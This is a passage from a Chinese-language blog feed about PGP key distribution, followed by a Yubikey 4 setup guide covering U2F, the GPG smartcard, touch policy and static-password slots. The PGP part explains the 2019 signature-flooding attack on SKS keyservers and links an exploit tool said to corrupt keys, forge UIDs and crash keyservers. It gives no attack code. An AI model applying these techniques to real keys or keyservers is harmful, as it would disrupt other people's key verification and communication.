&lt;p&gt;公钥服务器任何人都可以上传公钥，甚至你可以上传别人的公钥，比如你可以将自己签名过的别人的公钥，再次上传到KeyServer。&lt;&#x2F;p&gt;
&lt;h6 id=&quot;qian-ming-dos&quot;&gt;签名Dos&lt;&#x2F;h6&gt;
&lt;p&gt;在WOT认证体系的设计中， 当客户端收到一份未知证书时，它应当从公钥服务器拉取所有为这张证书签过名的人的证书，逐层上溯，看看是否能够找到一张已经被用户信任的证书。如果能的话，就视信任这张为可信的。&lt;&#x2F;p&gt;
&lt;p&gt;2019年6月，有攻击者恶意向公钥服务器提交了对两个著名网友的签名背书。此事件中的受害者 Robert J. Hansen 的证书就被签名了 15000  次。因而任何人的 GPG 在尝试验证他的证书时，都会拉取 15000 个签名。而 GPG 在验证这么多签名的过程中会卡住很久。&lt;&#x2F;p&gt;
&lt;p&gt;由于被攻击的两个人在 GPG 社区中中地位很高，他们在 GPG  信任网络中处于相当核心的位置。这意味着——当你验证任意一份证书的时候，有不小的概率你会不小心拉取到他们俩的证书，然后你的 GPG  就会卡住。不但他们俩的证书没法用了，他们俩签名过的证书也都面临危险，乃至于他们俩签名过的证书所签名的证书……&lt;&#x2F;p&gt;
&lt;p&gt;而上传到KeyServer的所有东西都是不可删除的…为了解决这个问题， &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;lwn.net&#x2F;Articles&#x2F;793288&#x2F;&quot;&gt;GnuPG 2.2.17  LWN.net&lt;&#x2F;a&gt; 开始， 从KeyServer下载公钥时默认不再下载关联的公钥， 如果你想要感受证书DoS攻击的话，可以在设置中开启：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;## ~&amp;#x2F;.gnupg&amp;#x2F;gpg.conf
keyserver-options no-self-sigs-only,no-import-clean
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h6 id=&quot;bao-po&quot;&gt;爆破&lt;&#x2F;h6&gt;
&lt;p&gt;有个很厉害的程序媛Yegor Timoshenko（前面的SKS文件存储项目也是她的杰作），写了个工具&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;yegortimoshenko&#x2F;sks-exploit&quot;&gt;SKS-Exploit&lt;&#x2F;a&gt;，可以将任何人的PGP公钥&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;keyserver.2ndquadrant.com&#x2F;pks&#x2F;lookup?search=0x41259773973A612A&amp;amp;op=vindex&quot;&gt;损坏&lt;&#x2F;a&gt;，变得不可导入。&lt;&#x2F;p&gt;
&lt;p&gt;这个工具同时还可以给任意人的公钥 追加伪造的UID（不是KeyID），并骗过KeyServer。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;modern-pgp&#x2F;sks-exploit-forged-uid-keyserver.png&quot; alt=&quot;1609914787731&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;另外能直接让KeyServer宕机。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;modern-pgp&#x2F;sks-keyserver-forged-uid.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h5 id=&quot;yin-si-wen-ti&quot;&gt;隐私问题&lt;&#x2F;h5&gt;
&lt;p&gt;讽刺的是， 最初为了保护人们隐私而生的PGP , 却因为不能满足保护隐私的法规GDPR ，而使一个公开的 SKS 公钥服务器在欧洲处于违法状态（GDPR规定： 服务商必须提供删除个人信息的选项）。&lt;&#x2F;p&gt;
&lt;p&gt;许多新手按照教程提示的在创建PGP 密钥的时候填上了自己的真实姓名，并按照那些教程将公钥上传到了KeyServer，在人肉社工猖獗的今天，简直是个灾难。&lt;&#x2F;p&gt;
&lt;p&gt;我试着在KeyServer搜过一些博客作者留下的PGP Key， 不乏有些比较注重自身隐私的，可是他们大部分都将自己真实的名字（汉字或拼音）和邮箱一起发到了服务器上，要知道那里的数据是公开且永远不能删除的。 也有些人意识到问题之后revoke了带有真实姓名的公钥，可是仍然可以查到，并且变得更加显眼（revoke过的key会变红）。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;qi-ta-fa-bu-gong-yao-de-fang-fa&quot;&gt;其他发布公钥的方法&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;1-wkd-web-key-directory&quot;&gt;1. WKD（Web Key Directory）&lt;&#x2F;h4&gt;
&lt;p&gt;WKD 的工作过程是 ，通过邮箱客户端 在域名服务器检查一个”well known” 的URL， 如果匹配到了邮箱地址对应的公钥，会使用https下载，并且不需要用户进行其他操作。用户不需要gpg 命令行等等复杂操作，让PGP加密回归单纯的邮件加密本身，用起来有些像S&#x2F;MIME,但其实不一样。&lt;&#x2F;p&gt;
&lt;p&gt;比如这样一个URL: &lt;code&gt;https:&#x2F;&#x2F;intevation.de&#x2F;.well-known&#x2F;openPGPkey&#x2F;hu&#x2F;g8td9rsyatrazsoiho37j9n3g5ypp34h&lt;&#x2F;code&gt; 就对应 “aheinecke@intevation.de”这个邮箱地址。&lt;&#x2F;p&gt;
&lt;p&gt;这是通过Gpg4win的使用的一个示例，&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] WKD 自动加密演示图：Outlook（账户 wksdemo@testkolab.intevation.de）窗口上叠加 Kleopatra 证书管理器，All Certificates 列表中有一张 OpenPGP 证书：名称 WKS demo、邮箱 wksdemo@testkolab.intevation.de、Valid From 10.07.2018、Key-ID 以 17DBECAB 开头，展示 WKD 配置后证书被自动获取使用。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这种方法不会泄露自己的邮箱，也不需要验证指纹， 但是需要你的邮件服务商提供支持。&lt;&#x2F;p&gt;
&lt;p&gt;proton邮箱是原生支持 WKD的， 但是它使用的是自己私钥，似乎没办法使用使用自己本地的公钥，其他也有支持。&lt;&#x2F;p&gt;
&lt;p&gt;如果你有自己的邮箱服务器，并且想折腾的话，可以参照&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.gnupg.org&#x2F;WKDHosting&quot;&gt;WKD Hosting&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-dang-mian-jiao-huan&quot;&gt;2. 当面交换&lt;&#x2F;h4&gt;
&lt;p&gt;如果是和熟识的朋友，你可以约在任何合适地方，用你喜欢的方式交换密钥， 比如交换纸条，交换TF卡 或者usb设备，互相签名认证，互相得到公钥。&lt;&#x2F;p&gt;
&lt;p&gt;如果是想认识更多的人，并让自己的公钥被更多的人认证， 你可以参加「公钥签名派对（&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Key_signing_party&quot;&gt;Key signing party&lt;&#x2F;a&gt;）」。参与派对的人们相互交换公钥的指纹（公钥一般是存在服务器或是一个别人可以下载到的地方，这里只交换指纹），甚至需要相互出示身份证、护照、驾照、出身证明，以验明正身。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;modern-pgp&#x2F;pgp-key-signing-party.jpg&quot; alt=&quot;Key signing in front of FOSDEM 2008&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;3-dns&quot;&gt;3. DNS&lt;&#x2F;h4&gt;
&lt;p&gt;有很多种方法将你的公钥通过DNS服务发布，但是有些一些方法只适用于老版本的GnuPG，有些方法只适用与新版本的GnuPG，兼容性不佳，而且搞起来比较繁琐，有兴趣的可以自行查找资料。在这里并不推荐使用。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;4-ge-ren-wang-zhan-huo-she-jiao-ruan-jian-zhong&quot;&gt;4.个人网站 或 社交软件中&lt;&#x2F;h4&gt;
&lt;p&gt;现在中文世界， PGP的使用者中 有很多都是 独立的博客作者， 如果你拥有自己的博客或者个人网站，当然可以选择将自己的公钥发布在上面，最好给你的网站上一个Https 。&lt;&#x2F;p&gt;
&lt;p&gt;很多社交网站的个人展示页，可以自由编辑你的信息，你可以将PGP的 公钥发布在这里，  或者将 指纹 放在这， 这样通过其他渠道下载到公钥的人，也可以确认身份。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;5-dai-ma-cang-ku-huo-gist&quot;&gt;5. 代码仓库或Gist&lt;&#x2F;h4&gt;
&lt;p&gt;无论你是不是开发者， 都可以拥有一个Github账号， 你可以开一个仓库专门用来发布自己的公钥，或者将公钥发布到Gist。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;6-gong-xiang-bi-ji&quot;&gt;6. 共享笔记&lt;&#x2F;h4&gt;
&lt;p&gt;Notion或者印象笔记等可以共享笔记的地方，都可以贴出你的公钥。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zui-hou&quot;&gt;最后&lt;&#x2F;h3&gt;
&lt;p&gt;使用分散的、多渠道的、可能是线下的方式来交换和确认公钥 ，不要相信在放一处的 公钥 和指纹。&lt;&#x2F;p&gt;
&lt;p&gt;去验证紧跟在公钥后面的指纹 ， 就像你去问一个诈骗者，他是不是一个诈骗者一样无用。&lt;&#x2F;p&gt;
&lt;p&gt;如果不是当面，请至少从两个渠道进行验证，比如你从一个渠道（比如&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ulyc.github.io&#x2F;pgp_keys.asc&#x2F;&quot;&gt;这里&lt;&#x2F;a&gt;）得到了我的公钥 ,  你想和我安全通信的话，导入前一定要从另一处（比如我公布的其他账号的简介）得到我的指纹， 验证是否一致后再进行操作。&lt;&#x2F;p&gt;
&lt;p&gt;而且每次使用前，请重复以上步骤，确保你手上的公钥是最新的。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;can-kao-lian-jie&quot;&gt;参考链接&lt;&#x2F;h3&gt;
&lt;p&gt;[1]. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.linux.com&#x2F;news&#x2F;protecting-code-integrity-PGP-part-1-basic-PGP-concepts-and-tools&#x2F;&quot;&gt;用 PGP 保护代码完整性系列 &lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[2]. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.gnupg.org&#x2F;gph&#x2F;en&#x2F;manual.html&quot;&gt;The GNU Privacy Handbook&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;[3]. [GnuPG: 用多个sub keys保护primary key&lt;&#x2F;th&gt;&lt;th&gt;missing idea (wordpress.com)](https:&#x2F;&#x2F;jackqqcn.wordpress.com&#x2F;2008&#x2F;06&#x2F;22&#x2F;gnupg-用多个sub-keys保护primary-key&#x2F;)&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;[4]. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.lancitou.net&#x2F;PGP-tutorial&#x2F;&quot;&gt;PGP 自我扫盲&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[5]. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mogeko.me&#x2F;2019&#x2F;068&#x2F;&quot;&gt;GPG 的正确使用姿势&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[6]. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;emailselfdefense.fsf.org&#x2F;zh-hans&#x2F;windows.html&quot;&gt;电子邮件加密指南&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[7]. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.asheesh.org&#x2F;note&#x2F;debian&#x2F;short-key-ids-are-bad-news.html&quot;&gt;Short key IDs are bad news (with OpenPGP and GNU Privacy Guard) &lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[8]. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;blog.shell909090.org&#x2F;blog&#x2F;archives&#x2F;1903&#x2F;&quot;&gt;gnupg密钥签署原理和过程 &#x2F;&#x2F; Shell’s Home (shell909090.org)&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[9]. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;roll.urown.net&#x2F;server&#x2F;PGP-keyserver.html#a-public-key-shelf&quot;&gt;PGP Key Server|Roll Your Own Network&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[10]. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;medium.com&#x2F;@mdrahony&#x2F;are-sks-keyservers-safe-do-we-need-them-7056b495101c&quot;&gt;Are SKS keyservers safe? Do we need them?&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[11]. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;rjhansen&#x2F;67ab921ffb4084c865b3618d6955275f&quot;&gt;SKS Keyserver Network Under Attack&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[12]. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;nova.moe&#x2F;openPGP-best-practices-keyserver-and-configuration&#x2F;&quot;&gt;OpenPGP 最佳实践 - 公钥服务器&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[13]. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.wangxuan.name&#x2F;2019&#x2F;11&#x2F;30&#x2F;gpg-sks-network-poisoned&#x2F;&quot;&gt;GPG SKS 同步网络被投毒事件及其影响&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[14]. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;superuser.com&#x2F;questions&#x2F;227991&#x2F;where-to-upload-PGP-public-key-are-keyservers-still-surviving&quot;&gt;where-to-upload-PGP-public-key-are-keyservers-still-surviving&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[15]. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;137801979&quot;&gt;GPG简明介绍&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Yubikey 4 配置</title>
        <published>2025-01-14T00:00:00+00:00</published>
        <updated>2025-01-14T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/yubikey-4-配置/"/>
        <id>https://vercel.juzhong.asia/obsidian/yubikey-4-配置/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/yubikey-4-配置/">&lt;h1 id=&quot;yubikey-4-pei-zhi&quot;&gt;Yubikey 4 配置&lt;&#x2F;h1&gt;
&lt;p&gt;2017年4月15日 21:40&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：此文主要针对 Yubikey 4。但 Yubikey 5 与 4 差别不大，大部分操作是通用的。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;最近入手了一个 Yubikey，正好花点时间配置一下。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yuan-qi&quot;&gt;缘起&lt;&#x2F;h2&gt;
&lt;p&gt;话说从去年的某个时间就开始关注&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Smart_card&quot;&gt;智能卡&lt;&#x2F;a&gt;设备，可惜一直没找到值得入手的产品。 年初知道了一种双因素认证技术叫 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Universal_2nd_Factor&quot;&gt;U2F&lt;&#x2F;a&gt;（通用第二因素），可以通过你拥有的某个硬件设备作为用户认证时的第二因素。&lt;&#x2F;p&gt;
&lt;p&gt;U2F 设备最有名的可能是 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.u2fzero.com&#x2F;&quot;&gt;U2F zero&lt;&#x2F;a&gt; ，这个产品是开源的，你可以照着设计图自己焊接组装。 作者之前也在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.mynook.info&#x2F;post&#x2F;yubikey-4&#x2F;http&quot;&gt;Amazon&lt;&#x2F;a&gt; 上卖过一些自己制作的成品。 不过成品现在是缺货状态，据作者在邮件里说新版本可能未来几个月会重新上架卖一波。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;u2f&quot;&gt;U2F&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.yubico.com&#x2F;product&#x2F;yubikey-4-series#yubikey-4&quot;&gt;Yubikey 4&lt;&#x2F;a&gt; 这个东西呢，大致相当于一个 U2F 设备 + 一张智能卡 + 一个 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;One-time_password&quot;&gt;OTP&lt;&#x2F;a&gt; 设备。这其中我们主要使用的可能是 U2F 功能和智能卡的功能。&lt;&#x2F;p&gt;
&lt;p&gt;首先是 U2F 的功能。这个东西的工作原理可以从 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.yubico.com&#x2F;wp-content&#x2F;uploads&#x2F;2015&#x2F;08&#x2F;Yubico-U2F-and-OIDC-Final.pdf&quot;&gt;Yubico 提供的白皮书&lt;&#x2F;a&gt;里摘两张图来理解。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;yubikey4-setup&#x2F;u2f-registration-sequence.png&quot; alt=&quot;注册U2F设备&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] U2F 挑战-应答时序图（U2F Device&#x2F;User&#x2F;Browser&#x2F;RP 四方）：用户打开 RP 页面并先通过主因素认证；RP 向浏览器下发 challenge，要求证明持有该站点注册的 U2F 私钥；浏览器将 challenge 转给 U2F 设备并提示用户触摸；用户确认在场后，设备加载&#x2F;解出该 RP 对应私钥并对 challenge 签名，经浏览器回传 RP；RP 用注册时保存的 U2F 公钥验证签名，通过后将 session 与该用户关联。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;简单来说，U2F 设备除了是个硬件装置以外，与 Authy app 或者 Google Authenticator app 并没有什么实质性区别。因此使用方式也是类似的：在登录支持的帐号服务（例如 Google 帐号）后，在安全设置里绑定你手头的设备就可以了；在此之后，需要使用二次验证的时候你都可以使用绑定 Yubikey 来验证。在验证时，需要将 Yubikey 插入 USB 口，指示灯亮起之后轻触感应按钮。更详细的设置介绍，可以访问在 Yubikey 包装上印制的网址来查看。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gpg-zhi-neng-qia&quot;&gt;GPG 智能卡&lt;&#x2F;h2&gt;
&lt;p&gt;另一种用途是 GPG 智能卡。Yubikey 4 拥有三个密钥位，可以分别存储用于签名、验证、加密三种用途的密钥。详细的设置方法参考这篇&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mechanus.io&#x2F;ke-neng-shi-zui-hao-de-yubikey-gpg-ssh-zhi-neng-qia-jiao-cheng&#x2F;&quot;&gt;《可能是最好的 Yubikey + GPG&#x2F;SSH 智能卡教程》&lt;&#x2F;a&gt;。如果你使用 Linux 系统，参考这篇&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;drduh&#x2F;YubiKey-Guide&quot;&gt;《Yubikey Guide》&lt;&#x2F;a&gt;。 下面说一下 macOS 上需要注意的要点。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;如果你使用 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gpgtools.org&#x2F;&quot;&gt;GPGTools&lt;&#x2F;a&gt;，那么不需要在 &lt;code&gt;.bashrc&lt;&#x2F;code&gt; 或 &lt;code&gt;.zshrc&lt;&#x2F;code&gt; 等处加入 &lt;code&gt;eval $(gpg-agent --daemon)&lt;&#x2F;code&gt; 类似的语句，因为 GPGTools 会自动启动 gpg-agent。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;将三种用途的子密钥导入 Yubikey 之后，请通过密钥服务器发送你的公钥，导出你的所有私钥，然后从机器上删除这些私钥。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;将 Yubikey 插入机器后，运行 &lt;code&gt;gpg --card-status&lt;&#x2F;code&gt; 可以查看到智能卡的信息，此时如果拔出 Yubikey 再运行 &lt;code&gt;gpg --list-secret-keys&lt;&#x2F;code&gt;，会看到还是显示有你的私钥，例如这样的：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;$ gpg --list-secret-keys
&amp;#x2F;Users&amp;#x2F;xxx&amp;#x2F;.gnupg&amp;#x2F;secring.gpg
-------------------------------
sec#  4096R&amp;#x2F;08B738B8 2016-04-06
uid                  Joker Qyou &amp;lt;Joker.Qyou@gmail.com&amp;gt;
ssb&amp;gt;  4096R&amp;#x2F;E330A343 2016-04-06
ssb&amp;gt;  4096R&amp;#x2F;8C6D776B 2017-04-14
ssb&amp;gt;  4096R&amp;#x2F;9F07275B 2017-04-14
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;但其实私钥已经不存在于你机器上，&lt;code&gt;sec&lt;&#x2F;code&gt; 后面的 &lt;code&gt;#&lt;&#x2F;code&gt; 表示这个只是个存根，你可以理解为一个指向智能卡的指针。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-yong-mi-yao-shi-qiang-zhi-qing-qiu-yong-hu-jiao-hu&quot;&gt;使用密钥时强制请求用户交互&lt;&#x2F;h2&gt;
&lt;p&gt;GPG 在解开智能卡后的一段时间内，可以不需要用户输入智能卡密码就进行相应操作，例如 ssh 认证或给文件&#x2F;消息签名。这在大部分时候都很方便，然而缺点就是软件在进行一些操作的时候，用户可能不会注意到。甚至可能出现软件在你不知情时对文件进行了签名的情况。虽然 Yubikey 4 有一个 LED，但在进行密钥操作时闪烁的时间是很短的，大概在一秒左右。&lt;&#x2F;p&gt;
&lt;p&gt;Yubikey 4 其实是支持几种不同的 touch policy 的。所谓 touch policy 就是保存在卡上的一个设置项，可以指定在调用密钥时必须同时要有用户交互，也就是接触一下卡上的触摸区域。touch policy 可以针对三个密钥分别设置，主要有这三个等级：&lt;code&gt;ON&lt;&#x2F;code&gt;、&lt;code&gt;OFF&lt;&#x2F;code&gt; 和 &lt;code&gt;FIXED&lt;&#x2F;code&gt;。其中 &lt;code&gt;OFF&lt;&#x2F;code&gt; 表示不需要用户交互，是默认等级；&lt;code&gt;ON&lt;&#x2F;code&gt; 表示开启，每次在调用密钥进行操作时，Yubikey 上的 LED 会持续闪烁，等待用户接触触摸区域，如果 15 秒内没有用户交互，操作将会失败；&lt;code&gt;FIXED&lt;&#x2F;code&gt; 表示开启这个设置项，并且不允许关闭，除非相应的密钥被替换（导入或重新生成）。&lt;&#x2F;p&gt;
&lt;p&gt;Yubico 提供了一个开源命令行工具 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Yubico&#x2F;yubikey-manager&quot;&gt;&lt;code&gt;ykman&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; 可以进行这个设置。在 macOS 下使用 &lt;code&gt;brew install ykman&lt;&#x2F;code&gt; 来安装。&lt;&#x2F;p&gt;
&lt;p&gt;安装好之后，插入你的 Yubikey，使用 &lt;code&gt;ykman openpgp info&lt;&#x2F;code&gt; 来查看当前的 touch policy。&lt;&#x2F;p&gt;
&lt;p&gt;要修改某个 key 的 touch policy，使用 &lt;code&gt;ykman openpgp set-touch KEY POLICY&lt;&#x2F;code&gt; 来设置。KEY 的可选值是 &lt;code&gt;aut&lt;&#x2F;code&gt;、&lt;code&gt;enc&lt;&#x2F;code&gt; 和 &lt;code&gt;sig&lt;&#x2F;code&gt;，分别对应验证、加密、签名三种用途的密钥；POLICY 可以是 &lt;code&gt;ON&lt;&#x2F;code&gt;、&lt;code&gt;OFF&lt;&#x2F;code&gt; 或 &lt;code&gt;FIXED&lt;&#x2F;code&gt;等级别。&lt;&#x2F;p&gt;
&lt;p&gt;个人建议对 &lt;code&gt;sig&lt;&#x2F;code&gt; 和 &lt;code&gt;aut&lt;&#x2F;code&gt; 开启 &lt;code&gt;FIXED&lt;&#x2F;code&gt; 级别的设置。需要注意的是：如果你对密钥进行续期操作，则需要重新将子密钥倒入 Yubikey 的对应密钥槽，这是一个覆盖操作。此时对应密钥的 touch policy 会重置为 &lt;code&gt;OFF&lt;&#x2F;code&gt;，你将需要视自己的需求进行重新设置。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;can-kao&quot;&gt;参考&lt;&#x2F;h2&gt;
&lt;p&gt;其他一些 Yubikey 的教程参考：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.jfry.me&#x2F;articles&#x2F;2015&#x2F;gpg-smartcard&#x2F;&quot;&gt;Using GPG with Smart Cards&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.shenchao.im&#x2F;2010&#x2F;03&#x2F;10&#x2F;yubikey-nerver-remember-the-password&#x2F;&quot;&gt;Yubikey不再记忆密码&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.jinwei.me&#x2F;2016&#x2F;10&#x2F;04&#x2F;yubikey4&#x2F;&quot;&gt;YubiKey 4 入手&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;ke-bian-cheng-cao-yu-jing-tai-mi-ma&quot;&gt;可编程槽与静态密码&lt;&#x2F;h2&gt;
&lt;p&gt;另外还有一个可能很少人使用的功能。Yubikey 带有两个可编程的槽（configuration slot），这两个槽与智能卡功能、U2F 功能都是分离的。第一个槽的触发方式是短按感应按钮，第二个槽的触发是靠长按，大约按住 3 秒以上。&lt;&#x2F;p&gt;
&lt;p&gt;如果你将 Yubikey 插入电脑，然后打开一个编辑器，短按感应按钮，会看到 Yubikey 输出了一个一次性密码（OTP），这是第一个槽的功能。Slot 1 在出厂时&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.yubico.com&#x2F;support&#x2F;knowledge-base&#x2F;categories&#x2F;articles&#x2F;yubikey-yubicloud-configuration-guide&#x2F;&quot;&gt;被初始化为 Yubico OTP 模式&lt;&#x2F;a&gt;。Slot 2 是被留空的，可以自由设置。&lt;&#x2F;p&gt;
&lt;p&gt;我个人使用密码管理软件来管理所有的帐号密码，因此数据库的主密码就成了一个问题。之前主密码都被设置为易于记忆（因为遗失主密码就等于遗失所有帐号密码），现在可以通过 slot 2 来将密码管理软件的数据库主密码存储起来（配置为 static password 模式），通过 Yubikey 来输入，不需要自己每次手打了，因此可以随意设置非常复杂的密码。这个功能可以通过 Yubico 提供的设置工具 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.yubico.com&#x2F;support&#x2F;knowledge-base&#x2F;categories&#x2F;articles&#x2F;yubikey-personalization-tools&#x2F;&quot;&gt;Yubikey personalization tool&lt;&#x2F;a&gt; 来实现。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>折腾了一下GPG和智能卡</title>
        <published>2025-01-14T00:00:00+00:00</published>
        <updated>2025-02-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/折腾了一下gpg和智能卡/"/>
